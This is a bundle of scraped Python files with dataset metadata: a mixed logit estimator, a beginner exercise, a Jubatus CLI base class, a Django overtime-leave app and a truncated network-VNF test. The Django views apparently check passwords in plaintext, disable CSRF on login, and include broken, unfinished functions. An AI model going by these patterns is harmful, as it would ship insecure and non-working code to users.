weights, avail, Xnames, scale, addit\n\n def _setup_randvars_info(self, randvars, Xnames):\n self.randvars = randvars\n self._rvidx, self._rvdist = [], []\n for var in Xnames:\n if var in self.randvars.keys():\n self._rvidx.append(True)\n self._rvdist.append(self.randvars[var])\n else:\n self._rvidx.append(False)\n self._rvidx = np.array(self._rvidx)\n\n def _loglik_gradient(self, betas, Xd, panels, draws, weights, avail, scale_d, addit_d, batch_size, return_gradient=True):\n \"\"\"Compute the log-likelihood and gradient.\n\n Fixed and random parameters are handled separately to speed up the estimation and the results are concatenated.\n \"\"\"\n N, R, Kr, Kf = Xd.shape[0], draws.shape[2], np.sum(self._rvidx), np.sum(~self._rvidx)\n \n lambdac = 1 if scale_d is None else betas[-1]\n Xd = Xd if scale_d is None else Xd*lambdac # Multiply data by lambda coefficient when scaling is in use\n \n Xdf = Xd[:, :, ~self._rvidx] # Data for fixed parameters\n Xdr = Xd[:, :, self._rvidx] # Data for random parameters\n \n scad = 0 if scale_d is None else (lambdac*scale_d)[:, :, None]\n additd = 0 if addit_d is None else (lambdac*addit_d)[:, :, None]\n betas, Xdf, Xdr, avail, scad, additd = dev.to_gpu(betas), dev.to_gpu(Xdf), dev.to_gpu(Xdr), dev.to_gpu(avail), dev.to_gpu(scad), dev.to_gpu(additd)\n\n # Utility for fixed parameters\n Bf = betas[np.where(~self._rvidx)[0]] # Fixed betas\n Vdf = dev.np.einsum('njk,k -> nj', Xdf, Bf) # (N, J-1)\n \n proba, gr_f, gr_u, gr_s, gr_l = [], np.zeros((N, Kf)), np.zeros((N, Kr)), np.zeros((N, Kr)), np.zeros((N, 1)) # Temp batching storage\n for batch_start, batch_end in batches_idx(batch_size, n_samples=R):\n draws_ = dev.to_gpu(draws[:, :, batch_start: batch_end])\n\n # Utility for random parameters \n Br = self._transform_rand_betas(betas, draws_) # Get random coefficients\n Vdr = dev.cust_einsum(\"njk,nkr -> njr\", Xdr, Br) # (N,J-1,R)\n \n eVd = dev.np.exp(Vdf[:, :, None] + Vdr - scad + additd)\n Vdr, Br = None, None # Release memory\n eVd = eVd if avail is None else eVd*avail[:, :, None] # Availablity of alts.\n # TODO: Handle availability\n proba_n = 1/(1+eVd.sum(axis=1)) # (N,R)\n proba_ = self._prob_product_across_panels(proba_n, panels) # (Np,R)\n \n if return_gradient:\n # The gradients are stored as a summation and at the end divided by R\n pprod = proba_*proba_ if panels is None else proba_[panels]*proba_n\n \n # For fixed coefficients\n dprod_f = -dev.np.einsum(\"njk,njr -> nkr\", Xdf, eVd) # (N,K,R)\n der_prod_f = dprod_f*pprod[:, None, :] # (N,K,R)\n gr_f += dev.to_cpu((der_prod_f).sum(axis=2)) # (N,K) \n \n # For random coefficients\n der = self._compute_derivatives(betas, draws_) # (N,K,R)\n dprod_r = -dev.np.einsum(\"njk,njr -> nkr\", Xdr, eVd) # (N,K,R)\n der_prod_r = dprod_r*pprod[:, None, :]*der # (N,K,R)\n gr_u += dev.to_cpu((der_prod_r).sum(axis=2)) # (N,K)\n gr_s += dev.to_cpu((der_prod_r*draws_).sum(axis=2)) # (N,K)\n \n # For WTP lambda scaling\n if scale_d is not None:\n dprod_l = -dev.np.einsum(\"njr,njr -> nr\", dev.np.log(eVd)/lambdac, eVd)[:, None, :] # (N,K,R)\n der_prod_l = dprod_l*pprod[:, None, :]\n gr_l += dev.to_cpu((der_prod_l).sum(axis=2))\n \n \n proba_ = proba_.sum(axis=1) # (N, )\n proba.append(dev.to_cpu(proba_))\n\n lik = np.stack(proba).sum(axis=0)/R # (N, )\n loglik = np.log(lik) if weights is None else np.log(lik)*weights\n loglik = loglik.sum()\n output = (-loglik, )\n if return_gradient:\n lik = lik if panels is None else lik[panels] # (N,)\n Rlik = R*lik[:, None]\n gr_f, gr_u, gr_s = gr_f/Rlik, gr_u/Rlik, gr_s/Rlik\n grad_n = self._concat_gradients(gr_f, gr_u, gr_s) # (N,K)\n grad_n = grad_n if scale_d is None else np.append(grad_n, gr_l/Rlik, 1)\n if weights is not None:\n weights = weights if panels is None else weights[panels] # (N,)\n grad_n = grad_n*weights[:, None]\n grad = grad_n.sum(axis=0)\n output += (-grad, grad_n)\n\n return _unpack_tuple(output)\n\n def _concat_gradients(self, gr_f, gr_b, gr_w):\n N, Kf, Kr = len(gr_f), (~self._rvidx).sum(), self._rvidx.sum()\n gr = np.empty((N, Kf+2*Kr))\n gr[:, np.where(~self._rvidx)[0]] = gr_f\n gr[:, np.where(self._rvidx)[0]] = gr_b\n gr[:, len(self._rvidx):] = gr_w\n return gr\n\n def _prob_product_across_panels(self, prob, panels):\n if panels is not None:\n idx = np.concatenate(([0], np.where(panels[:-1] != panels[1:])[0] + 1, [len(prob)]))\n prob = dev.np.vstack([prob[idx[i]:idx[i+1]].prod(axis=0) for i in range(len(idx) - 1)])\n \n return prob # (Np,R)\n\n def _apply_distribution(self, betas_random):\n \"\"\"Apply the mixing distribution to the random betas.\"\"\"\n for k, dist in enumerate(self._rvdist):\n if dist == 'ln':\n betas_random[:, k, :] = dev.np.exp(betas_random[:, k, :])\n elif dist == 'tn':\n betas_random[:, k, :] = betas_random[:, k, :] *\\\n (betas_random[:, k, :] > 0)\n return betas_random\n\n def _compute_derivatives(self, betas, draws):\n \"\"\"Compute the derivatives based on the mixing distributions.\"\"\"\n N, R, Kr = draws.shape[0], draws.shape[2], self._rvidx.sum()\n der = dev.np.ones((N, Kr, R), dtype=draws.dtype)\n if any(set(self._rvdist).intersection(['ln', 'tn'])):\n betas_random = self._transform_rand_betas(betas, draws)\n for k, dist in enumerate(self._rvdist):\n if dist == 'ln':\n der[:, k, :] = betas_random[:, k, :]\n elif dist == 'tn':\n der[:, k, :] = 1*(betas_random[:, k, :] > 0)\n return der\n\n def _transform_rand_betas(self, betas, draws):\n \"\"\"Compute the products between the betas and the random coefficients.\n\n This method also applies the associated mixing distributions\n \"\"\"\n # Extract coeffiecients from betas array\n br_mean = betas[np.where(self._rvidx)[0]]\n br_sd = betas[len(self._rvidx):len(self._rvidx) + np.sum(self._rvidx)] \n # Compute: betas = mean + sd*draws\n betas_random = br_mean[None, :, None] + draws*br_sd[None, :, None]\n betas_random = self._apply_distribution(betas_random)\n return betas_random\n\n def _generate_draws(self, sample_size, n_draws, halton=True, halton_opts=None):\n \"\"\"Generate draws based on the given mixing distributions.\"\"\"\n if halton:\n draws = self._generate_halton_draws(sample_size, n_draws, len(self._rvdist),\n **halton_opts if halton_opts is not None else {})\n else:\n draws = self._generate_random_draws(sample_size, n_draws, len(self._rvdist))\n\n for k, dist in enumerate(self._rvdist):\n if dist in ['n', 'ln', 'tn']: # Normal based\n draws[:, k, :] = scipy.stats.norm.ppf(draws[:, k, :])\n elif dist == 't': # Triangular\n draws_k = draws[:, k, :]\n draws[:, k, :] = (np.sqrt(2*draws_k) - 1)*(draws_k <= .5) +\\\n (1 - np.sqrt(2*(1 - draws_k)))*(draws_k > .5)\n elif dist == 'u': # Uniform\n draws[:, k, :] = 2*draws[:, k, :] - 1\n\n return draws # (N,Kr,R)\n\n def _generate_random_draws(self, sample_size, n_draws, n_vars):\n \"\"\"Generate random uniform draws between 0 and 1.\"\"\"\n return np.random.uniform(size=(sample_size, n_vars, n_draws))\n\n def _generate_halton_draws(self, sample_size, n_draws, n_vars, shuffle=False, drop=100, primes=None):\n \"\"\"Generate Halton draws for multiple random variables using different primes as base\"\"\"\n if primes is None:\n primes = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 71, 73, 79, 83, 89, 97, 101,\n 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197,\n 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293, 307, 311]\n \n def halton_seq(length, prime=3, shuffle=False, drop=100):\n \"\"\"Generates a halton sequence while handling memory efficiently.\n \n Memory is efficiently handled by creating a single array ``seq`` that is iteratively filled without using\n intermidiate arrays.\n \"\"\"\n req_length = length + drop\n seq = np.empty(req_length)\n seq[0] = 0\n seq_idx = 1\n t=1\n while seq_idx < req_length:\n d = 1/prime**t\n seq_size = seq_idx\n i = 1\n while i < prime and seq_idx < req_length:\n max_seq = min(req_length - seq_idx, seq_size)\n seq[seq_idx: seq_idx+max_seq] = seq[:max_seq] + d*i\n seq_idx += max_seq\n i += 1\n t += 1\n seq = seq[drop:length+drop]\n if shuffle:\n np.random.shuffle(seq)\n return seq\n\n draws = [halton_seq(sample_size*n_draws, prime=primes[i % len(primes)],\n shuffle=shuffle, drop=drop).reshape(sample_size, n_draws) for i in range(n_vars)]\n draws = np.stack(draws, axis=1)\n return draws # (N,Kr,R)\n\n def _model_specific_validations(self, randvars, Xnames):\n \"\"\"Conduct validations specific for mixed logit models.\"\"\"\n if randvars is None:\n raise ValueError(\"The 'randvars' parameter is required for Mixed Logit estimation\")\n if not set(randvars.keys()).issubset(Xnames):\n raise ValueError(\"Some variable names in 'randvars' were not found in the list of variable names\")\n if not set(randvars.values()).issubset([\"n\", \"ln\", \"t\", \"tn\", \"u\"]):\n raise ValueError(\"Wrong mixing distribution in 'randvars'. Accepted distrubtions are n, ln, t, u, tn\")\n\n def summary(self):\n \"\"\"Show estimation results in console.\"\"\"\n super(MixedLogit, self).summary()\n\n @staticmethod\n def check_if_gpu_available():\n \"\"\"Check if GPU processing is available by running a quick estimation.\n\n Returns\n -------\n bool\n True if GPU processing is available, False otherwise.\n\n \"\"\"\n n_gpus = dev.get_device_count()\n if n_gpus > 0:\n # Test a simple run of the log-likelihood to see if CuPy is working\n X = np.array([[2, 1], [1, 3], [3, 1], [2, 4], [2, 1], [2, 4]])\n y = np.array([0, 1, 0, 1, 0, 1]).astype(bool)\n N, J, K, R = 3, 2, 2, 5\n\n betas = np.array([.1, .1, .1, .1])\n Xd = X[~y, :].reshape(N, J - 1, K) - X[y, :].reshape(N, 1, K) \n\n # Compute log likelihood using xlogit\n model = MixedLogit()\n model._rvidx, model._rvdist = np.array([True, True]), np.array(['n', 'n'])\n draws = model._generate_halton_draws(N, R, K) # (N,Kr,R)\n model._loglik_gradient(betas, Xd, None, draws, None, None, None, None,\n batch_size=R, return_gradient=False)\n\n print(\"{} GPU device(s) available. xlogit will use GPU processing\".format(n_gpus))\n return True\n else:\n print(\"*** No GPU device found. Verify CuPy is properly installed\")\n return False\n \n_unpack_tuple = lambda x : x if len(x) > 1 else x[0]\n \ndef batches_idx(batch_size, n_samples):\n batch_size = n_samples if batch_size is None else min(n_samples, batch_size)\n n_batches = n_samples//batch_size + int(n_samples % batch_size != 0)\n return [(batch*batch_size, batch*batch_size + batch_size) \\\n for batch in range(n_batches)]\n\n","repo_name":"arteagac/xlogit","sub_path":"xlogit/mixed_logit.py","file_name":"mixed_logit.py","file_ext":"py","file_size_in_byte":32251,"program_lang":"python","lang":"en","doc_type":"code","stars":42,"dataset":"github-code","pt":"47"} +{"seq_id":"38110484629","text":"# 🚨 Don't change the code below 👇\nstudent_scores = input(\"Input a list of student scores \").split()\nfor n in range(0, len(student_scores)):\n student_scores[n] = int(student_scores[n])\nprint(student_scores)\n# 🚨 Don't change the code above 👆\n\n#Write your code below this row 👇\n\n# We are not allowed to use the max() or min() function\n\n# Het eerste nummer in de lijst wordt het hoogste nummer\nhighest_number = student_scores[0]\n\n# Loop door alle nummers van de lijst heen\nfor student_score in student_scores:\n # controleer of deze student_score hoger is dan de actuele higest_number\n if student_score > highest_number:\n # Als dat waar(True) dan wordt deze student_score de highest_number\n highest_number = student_score\n\n# nadat de hele lijst is doorlopen, zal de hoogste student_score als waarde zijn opgeslagen als highest_number\nprint(f\"The highest score in the class is: {highest_number}\")","repo_name":"Go4thAndX/Python","sub_path":"Udemy Exercise lessons/Exercise lesson 0052 - High Score.py","file_name":"Exercise lesson 0052 - High Score.py","file_ext":"py","file_size_in_byte":926,"program_lang":"python","lang":"nl","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"20952397788","text":"# -*- ncoding: utf-8 -*-\n\nfrom __future__ import absolute_import, division, print_function, unicode_literals\n\nimport subprocess\n\nfrom .._stdio import print\nfrom .cmd import ExtendedCmd\nfrom .args import Arguments, Optional\n\nclass BaseCLI(ExtendedCmd):\n \"\"\"\n A base class for CLI interface of all services.\n \"\"\"\n\n def __init__(self, shell, *args, **kwargs):\n super(BaseCLI, self).__init__(*args, **kwargs)\n\n self._sh = shell\n\n # Set help sentences.\n self.doc_header = \"Commands:\"\n self.undoc_header = \"Commands (no help available):\"\n self.misc_header = \"Documents:\"\n self.nohelp = \"No help available for %s.\"\n\n # Register aliases.\n self.register_alias('EOF', 'do_exit')\n self.register_alias('ls', 'do_help')\n self.register_alias('shell', 'shell_command')\n\n #################################################################\n # Override methods to tweak CLI behavior\n #################################################################\n\n def emptyline(self):\n \"\"\"\n By default, empty line causes the previous command to run again.\n This overrides the default handler for emptyline so it behaves like an usual shell.\n \"\"\"\n pass\n\n def postcmd(self, stop, line):\n \"\"\"\n After a single command is executed, we discard the connection if not in\n keepalive mode.\n \"\"\"\n if not self._sh._keepalive:\n self._sh.disconnect()\n self._sh.connect()\n return stop\n\n def default(self, line):\n \"\"\"\n Raise exception for unhandled commands.\n \"\"\"\n raise CLIUnknownCommandException(line)\n\n #################################################################\n # Common interfaces for Jubatus CLI\n #################################################################\n\n @classmethod\n def _name(cls):\n \"\"\"\n Returns the name of the service (e.g., `classifier`).\n You must override this in subclasses.\n \"\"\"\n raise NotImplementedError\n\n def _verbose(self, msg):\n \"\"\"\n Outputs logs only when in verbose mode.\n \"\"\"\n if self._sh._verbose:\n print(msg)\n\n @property\n def client(self):\n \"\"\"\n Returns the client instance.\n \"\"\"\n return self._sh.get_client()\n\n #################################################################\n # Built-in shell commands\n #################################################################\n\n @Arguments()\n def do_exit(self):\n \"\"\"Syntax: exit\n Exits the shell. You can also use EOF (Ctrl-D).\n \"\"\"\n print()\n return True\n\n def help_help(self):\n print(\n \"\"\"Syntax: help [command]\n Displays the list of commands available.\n If ``command`` is specified, displays the help for the command.\"\"\"\n )\n\n def shell_command(self, param):\n \"\"\"\n Runs the command in the *real* shell.\n \"\"\"\n subprocess.call(param, shell=True)\n\nclass CLIInvalidatedException(Exception):\n \"\"\"\n Notify Shell to regenerate CLI instance.\n \"\"\"\n pass\n\nclass CLIUnknownCommandException(Exception):\n \"\"\"\n Notify Shell that unknown command is specified.\n \"\"\"\n pass\n\nclass BaseRpcCLI(BaseCLI):\n \"\"\"\n CLI that supports RPC commands.\n \"\"\"\n\n @Arguments(str, int, Optional(str))\n def do_connect(self, host, port, cluster):\n \"\"\"Syntax: connect host port [cluster]\n Connect to the specified host, port and cluster (optional).\n \"\"\"\n if cluster is None:\n cluster = self._sh._cluster\n\n print(\"Connecting to <{0}>@{1}:{2}...\".format(cluster, host, port))\n self._sh.set_remote(host, port, cluster, None)\n raise CLIInvalidatedException()\n\n @Arguments()\n def do_reconnect(self):\n \"\"\"Syntax: reconnect\n Reconnects to the current server.\n \"\"\"\n self._sh.connect()\n raise CLIInvalidatedException()\n\n @Arguments()\n def do_verbose(self):\n \"\"\"Syntax: verbose\n Toggles the verbose mode.\n \"\"\"\n self._sh._verbose = not self._sh._verbose\n if self._sh._verbose:\n print(\"Verbose mode: on\")\n else:\n print(\"Verbose mode: off\")\n\n @Arguments()\n def do_keepalive(self):\n \"\"\"Syntax: keepalive\n Toggles the keepalive mode.\n \"\"\"\n self._sh._keepalive = not self._sh._keepalive\n if self._sh._keepalive:\n print(\"Keepalive: enabled\")\n else:\n print(\"Keepalive: disabled\")\n\n @Arguments(Optional(int))\n def do_timeout(self, timeout):\n \"\"\"Syntax: timeout [new_value]\n Displays or sets the client-side timeout.\n \"\"\"\n if timeout is not None:\n self._sh.set_timeout(timeout)\n print(\"Timeout: {0} seconds\".format(self._sh.get_timeout()))\n","repo_name":"jubatus/jubakit","sub_path":"jubakit/_cli/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":4461,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"47"} +{"seq_id":"24804517985","text":"from django.shortcuts import render, HttpResponse,reverse, redirect\nfrom django import forms\nfrom workwaveapp import models\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.core.validators import RegexValidator\nfrom django.core.exceptions import ValidationError\nfrom django.http import JsonResponse\nfrom django.contrib.auth.hashers import make_password\nfrom bootstrap_datepicker_plus.widgets import DateTimePickerInput\nimport json\nfrom datetime import datetime\nfrom django.db.models import Sum\nfrom django.contrib import messages\nfrom excel_response import ExcelResponse\n\n\nclass BootStrapModelForm(forms.ModelForm):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n for name, field in self.fields.items():\n if field.widget.attrs:\n field.widget.attrs['class'] = \"form-control\"\n field.widget.attrs['placeholder'] = \"please enter %s\" % (field.label)\n else:\n field.widget.attrs = {\n \"class\":\"form-control\", \n \"placeholder\": field.label\n }\n\n\nclass UserRegistrationForm(BootStrapModelForm):\n class Meta:\n model = models.UserRegistration\n fields = \"__all__\"\n\n\ndef registration(request):\n\n form = UserRegistrationForm()\n return render(request, 'registration.html', {'form':form})\n\n\n@csrf_exempt\ndef submit_registration(request):\n form = UserRegistrationForm(data=request.POST)\n\n if form.is_valid():\n print(form.cleaned_data)\n form.save()\n # return JsonResponse({'status':True})\n else:\n print(form.errors)\n return JsonResponse({'status':False, 'error':form.errors})\n \n\nclass LoginForm(BootStrapModelForm):\n class Meta:\n model = models.Login\n fields = \"__all__\"\n\n\ndef login(request):\n\n form = LoginForm()\n return render(request, 'login.html',{'form':form})\n\n\n@csrf_exempt\ndef submit_login(request):\n \n form = LoginForm(data=request.POST)\n if form.is_valid():\n user_data = form.cleaned_data\n #{'email': 'abc@test.com', 'password': '123'}\n check_user = models.UserRegistration.objects.filter(**user_data).first()\n print({\"check\" : check_user})\n \n if not check_user:\n form.add_error(\"password\", \"your password is incorrect\")\n data_dict = {\"status\":False, 'error': form.errors}\n return JsonResponse(data_dict)\n request.session['info'] = {\"id\": check_user.id, 'name':check_user.name, \"email\":check_user.email}\n \n data_dict = {\"status\":True}\n return JsonResponse(data_dict)\n\n\ndef logout(request):\n\n session_key = request.session.session_key\n request.session.delete(session_key)\n\n return redirect('login')\n\n\ndef cl_application(request):\n \n return render(request, 'add_cl.html')\n\n\nclass AddCLForm(BootStrapModelForm):\n class Meta:\n model = models.AddCL\n fields = ['OT_start', 'OT_end', 'ApproverList', 'OT_reason','Remark', 'Hv_lunch', 'Hv_dinner' ]\n widgets = {\n 'OT_start':DateTimePickerInput(),\n 'OT_end':DateTimePickerInput(range_from='OT_start'),\n 'Remark':forms.Textarea(attrs={\"class\": \"form-control\"})\n }\n\n\n@csrf_exempt\ndef add_cl(request):\n info_dict = request.session['info']\n #print(info_dict) #{'id': 1, 'name': 'kk', 'email': 'abc@test.com'}\n uid = info_dict.get('id')\n username = info_dict.get('name')\n user_email = info_dict.get('email')\n form = AddCLForm()\n\n if request.method == \"GET\":\n # if pending application > 1 , diable the submission button\n pending_count = models.AddCL.objects.filter(ApprovalStatus=\"Pending\").count()\n print(pending_count)\n if pending_count > 0:\n messages.error(request, \"There is still a request pending!\")\n\n return render(request,'add_cl.html', {'form':form, \"info_dict\":info_dict, \"uid\":uid,\"pending_count\":pending_count })\n\n form = AddCLForm(data=request.POST)\n if form.is_valid():\n \n data_dict = {\"status\":True,}\n ot_start = form.cleaned_data['OT_start']\n ot_end = form.cleaned_data['OT_end']\n hv_lunch = form.cleaned_data['Hv_lunch']\n hv_dinner = form.cleaned_data['Hv_dinner']\n totalOThour = ot_end - ot_start\n if (hv_lunch == 1 and hv_dinner == 1):\n form.instance.TotalOTHour = (totalOThour.total_seconds() / 3600) - 1.5\n elif (hv_lunch == 1):\n form.instance.TotalOTHour = (totalOThour.total_seconds() / 3600) - 1 \n elif (hv_dinner == 1):\n form.instance.TotalOTHour = (totalOThour.total_seconds() / 3600) - 0.5\n else:\n form.instance.TotalOTHour = totalOThour.total_seconds() / 3600\n \n #form.instance.TotalOTHour = (totalOThour.seconds/60)/60\n form.instance.Staffname = username\n form.instance.StaffID = uid \n form.instance.Staffemail = user_email \n approverName = form.cleaned_data['ApproverList']\n approverEmail = models.UserRegistration.objects.filter(name=approverName).first().email\n form.instance.ApproverEmail = approverEmail\n form.instance.ApprovalStatus = \"Pending\"\n\n # if more than one Pending application, then do not let it save and hv alert \"There is still a request pedning!\"\n \n\n form.save()\n return JsonResponse(data_dict)\n else:\n print(form.errors)\n data_dict = {\"status\":False, 'error': form.errors}\n return JsonResponse(data_dict)\n\n\ndef my_record(request,uid):\n #uid = request.session['info'].id\n row_object = models.AddCL.objects.filter(StaffID=uid).all\n print(row_object)\n\n return render(request, 'my_record.html',{\"row_object\":row_object})\n\n\ndef my_record_dl(request, uid):\n row_object = models.AddCL.objects.filter(StaffID=uid).all()\n data = [\n ['No', 'OT started from', 'OT end at', 'Have lunch?', 'Have dinner?', 'Remarks', 'Total OT hours applied',\n 'Approval status', 'Approver', 'Accumulated OT hours as of now']\n ]\n\n for i, obj in enumerate(row_object):\n data.append([\n i + 1,\n obj.OT_start,\n obj.OT_end,\n obj.get_Hv_lunch_display(),\n obj.get_Hv_dinner_display(),\n obj.Remark,\n obj.TotalOTHour,\n obj.ApprovalStatus,\n obj.ApproverList_id,\n obj.AccumuatedTotalOTHour\n ])\n\n data_list = [list(item) for item in data]\n \n response = ExcelResponse(data_list, 'my_record')\n return response\n\n\ndef approver_page(request):\n \n print({\"approver\":request.appUser.user})\n row_object = models.AddCL.objects.filter(ApproverEmail=request.appUser.user).all\n \n return render(request, 'approver_page.html', {\"row_object\":row_object})\n\n\ndef approver_page_approve(request):\n\n # get the currect object \n nid = request.GET.get('nid')\n \n # change approval status\n row_object = models.AddCL.objects.filter(id=nid).first()\n row_object.ApprovalStatus = \"Approved\"\n \n # add accumlated OT hrs as now\n \n accumulated_total = models.AddCL.objects.filter(ApprovalStatus=\"Approved\").aggregate(total=Sum('TotalOTHour')).get('total')\n accumulated_total = accumulated_total or 0\n if row_object:\n row_object.AccumuatedTotalOTHour = accumulated_total + row_object.TotalOTHour\n row_object.save()\n # change approval column to Approved\n\n return redirect('/approver_page/')\n\n\ndef approver_page_reject(request):\n\n nid = request.GET.get('nid')\n row_object = models.AddCL.objects.filter(id=nid).first()\n row_object.ApprovalStatus = \"Rejected\"\n accumulated_total = models.AddCL.objects.filter(ApprovalStatus=\"Approved\").exclude(id=nid).aggregate(total=Sum('TotalOTHour')).get('total')\n if row_object:\n row_object.AccumuatedTotalOTHour = accumulated_total\n row_object.save()\n\n return redirect('/approver_page/')\n\n\nclass UseCLForm(BootStrapModelForm):\n class Meta:\n model = models.UseCL\n fields = ['CL_start', 'CL_end', 'TotalCLHour', 'AccumuatedTotalOTHour' ]\n widgets = {\n 'CL_start':DateTimePickerInput(),\n 'CL_end':DateTimePickerInput(range_from='OT_start'),\n }\n\n@csrf_exempt\ndef use_cl(request):\n info_dict = request.session['info']\n uid = info_dict.get('id')\n username = info_dict.get('name')\n user_email = info_dict.get('email')\n form = UseCLForm()\n\n if request.method == \"GET\":\n return render(request, \"use_cl.html\", {'form':form})\n \n form = UseCLForm(data=request.POST)\n if form.is_valid():\n\n data_dict = {\"status\":True,}\n CL_start = form.cleaned_data[CL_start]\n CL_end = form.cleaned_data[CL_end]\n TotalCLHour = CL_end - CL_start\n AccumuatedTotalOTHour = models.AddCL.objects.filter(id=request.appUser.id).first().AccumuatedTotalOTHour\n\n\n\n\n\n \n \n\n\n\n\n","repo_name":"kayson2021/CL","sub_path":"workwave/workwaveapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8931,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"43192747506","text":"import unittest\nimport mock\n\nfrom yardstick.tests.unit.network_services.vnf_generic.vnf.test_base import mock_ssh\nfrom yardstick.benchmark.contexts import base as ctx_base\nfrom yardstick.network_services.vnf_generic.vnf.router_vnf import RouterVNF\n\n\nTEST_FILE_YAML = 'nsb_test_case.yaml'\nSSH_HELPER = 'yardstick.network_services.vnf_generic.vnf.sample_vnf.VnfSshHelper'\n\n\nname = 'vnf__1'\n\n\nclass TestRouterVNF(unittest.TestCase):\n VNFD = {'vnfd:vnfd-catalog':\n {'vnfd':\n [{'short-name': 'RouterVNF',\n 'vdu':\n [{'routing_table': [],\n 'description': 'RouterVNF',\n 'name': 'router-baremetal',\n 'nd_route_tbl': [],\n 'id': 'router-baremetal',\n 'external-interface':\n [{'virtual-interface':\n {'dst_mac': '00:00:00:00:00:04',\n 'vpci': '0000:05:00.0',\n 'local_ip': '152.16.100.19',\n 'type': 'PCI-PASSTHROUGH',\n 'netmask': '255.255.255.0',\n 'dpdk_port_num': 0,\n 'bandwidth': '10 Gbps',\n 'driver': \"i40e\",\n 'dst_ip': '152.16.100.20',\n 'local_iface_name': 'xe0',\n 'local_mac': '00:00:00:00:00:02'},\n 'vnfd-connection-point-ref': 'xe0',\n 'name': 'xe0'},\n {'virtual-interface':\n {'dst_mac': '00:00:00:00:00:03',\n 'vpci': '0000:05:00.1',\n 'local_ip': '152.16.40.19',\n 'type': 'PCI-PASSTHROUGH',\n 'driver': \"i40e\",\n 'netmask': '255.255.255.0',\n 'dpdk_port_num': 1,\n 'bandwidth': '10 Gbps',\n 'dst_ip': '152.16.40.20',\n 'local_iface_name': 'xe1',\n 'local_mac': '00:00:00:00:00:01'},\n 'vnfd-connection-point-ref': 'xe1',\n 'name': 'xe1'}]}],\n 'description': 'RouterVNF',\n 'mgmt-interface':\n {'vdu-id': 'router-baremetal',\n 'host': '1.2.1.1',\n 'password': 'r00t',\n 'user': 'root',\n 'ip': '1.2.1.1'},\n 'benchmark':\n {'kpi': ['packets_in', 'packets_fwd', 'packets_dropped']},\n 'connection-point': [{'type': 'VPORT', 'name': 'xe0'},\n {'type': 'VPORT', 'name': 'xe1'}],\n 'id': 'RouterVNF', 'name': 'VPEVnfSsh'}]}}\n\n scenario_cfg = {'nodes': {'cpt__0': 'compute_0.compute_nodes',\n 'tg__0': 'trafficgen_1.baremetal',\n 'vnf__0': 'vnf.yardstick'},\n 'options': {'flow': {'count': 128000,\n 'dst_ip': ['10.0.3.26-10.0.3.105'],\n 'dst_port': ['2001-2004'],\n 'src_ip': ['10.0.2.26-10.0.2.105'],\n 'src_port': ['1234-1238']},\n 'framesize': {'downlink': {'1024B': 100},\n 'uplink': {'1024B': 100}},\n 'rfc2544': {'allowed_drop_rate': '0.0001 - 0.1'},\n 'tg__0': {'queues_per_port': 7},\n 'traffic_type': 4,\n 'vnf__0': {'nfvi_enable': True}},\n 'runner': {'interval': 35,\n 'iterations': 10,\n 'type': 'Iteration'},\n 'topology': 'router-tg-topology.yaml',\n 'traffic_profile': '../../traffic_profiles/ipv4_throughput.yaml',\n 'type': 'NSPerf'}\n\n context_cfg = {'nodes': {'tg__1':\n {'member-vnf-index': '1',\n 'role': 'TrafficGen',\n 'name': 'trafficgen_1.yardstick',\n 'vnfd-id-ref': 'tg__1',\n 'ip': '1.2.1.1',\n 'interfaces':\n {'xe0': {'local_iface_name': 'ens785f0',\n 'vld_id': RouterVNF.UPLINK,\n 'netmask': '255.255.255.0',\n 'local_ip': '152.16.100.20',\n 'dst_mac': '00:00:00:00:00:02',\n 'local_mac': '00:00:00:00:00:04',\n 'dst_ip': '152.16.100.19',\n 'driver': 'i40e',\n 'vpci': '0000:05:00.0',\n 'dpdk_port_num': 0},\n 'xe1': {'local_iface_name': 'ens785f1',\n 'netmask': '255.255.255.0',\n 'local_ip': '152.16.100.21',\n 'local_mac': '00:00:00:00:00:01',\n 'driver': 'i40e',\n 'vpci': '0000:05:00.1',\n 'dpdk_port_num': 1}},\n 'password': 'r00t',\n 'VNF model': 'tg_rfc2544_tpl.yaml',\n 'user': 'root'},\n 'vnf__1':\n {'name': 'vnf.yardstick',\n 'vnfd-id-ref': 'vnf__1',\n 'ip': '1.2.1.1',\n 'interfaces':\n {'xe0': {'local_iface_name': 'ens786f0',\n 'vld_id': RouterVNF.UPLINK,\n 'netmask': '255.255.255.0',\n 'local_ip': '152.16.100.19',\n 'dst_mac': '00:00:00:00:00:04',\n 'local_mac': '00:00:00:00:00:02',\n 'dst_ip': '152.16.100.20',\n 'driver': 'i40e',\n 'vpci': '0000:05:00.0',\n 'dpdk_port_num': 0},\n 'xe1': {'local_iface_name': 'ens786f1',\n 'vld_id': RouterVNF.DOWNLINK,\n 'netmask': '255.255.255.0',\n 'local_ip': '152.16.40.19',\n 'dst_mac': '00:00:00:00:00:03',\n 'local_mac': '00:00:00:00:00:01',\n 'dst_ip': '152.16.40.20',\n 'driver': 'i40e',\n 'vpci': '0000:05:00.1',\n 'dpdk_port_num': 1}},\n 'routing_table': [],\n 'member-vnf-index': '2',\n 'host': '1.2.1.1',\n 'role': 'vnf',\n 'user': 'root',\n 'nd_route_tbl': [],\n 'password': 'r00t',\n 'VNF model': 'router_vnf.yaml'}}}\n\n IP_SHOW_STATS_OUTPUT = \"\"\"\\\n2: em1: mtu 1500 qdisc pfifo_fast state UP mode DEFAULT group default qlen 1000\n link/ether d4:c9:ef:52:7c:4d brd ff:ff:ff:ff:ff:ff\n RX: bytes packets errors dropped overrun mcast\n 2781945429 3202213 0 0 0 30131\n RX errors: length crc frame fifo missed\n 0 0 0 0 0\n TX: bytes packets errors dropped carrier collsns\n 646221183 2145799 0 0 0 0\n TX errors: aborted fifo window heartbeat\n 0 0 0 0\n\"\"\"\n STATS = {\n 'RX:bytes': '2781945429',\n 'RX:dropped': '0',\n 'RX:errors': '0',\n 'RX:mcast': 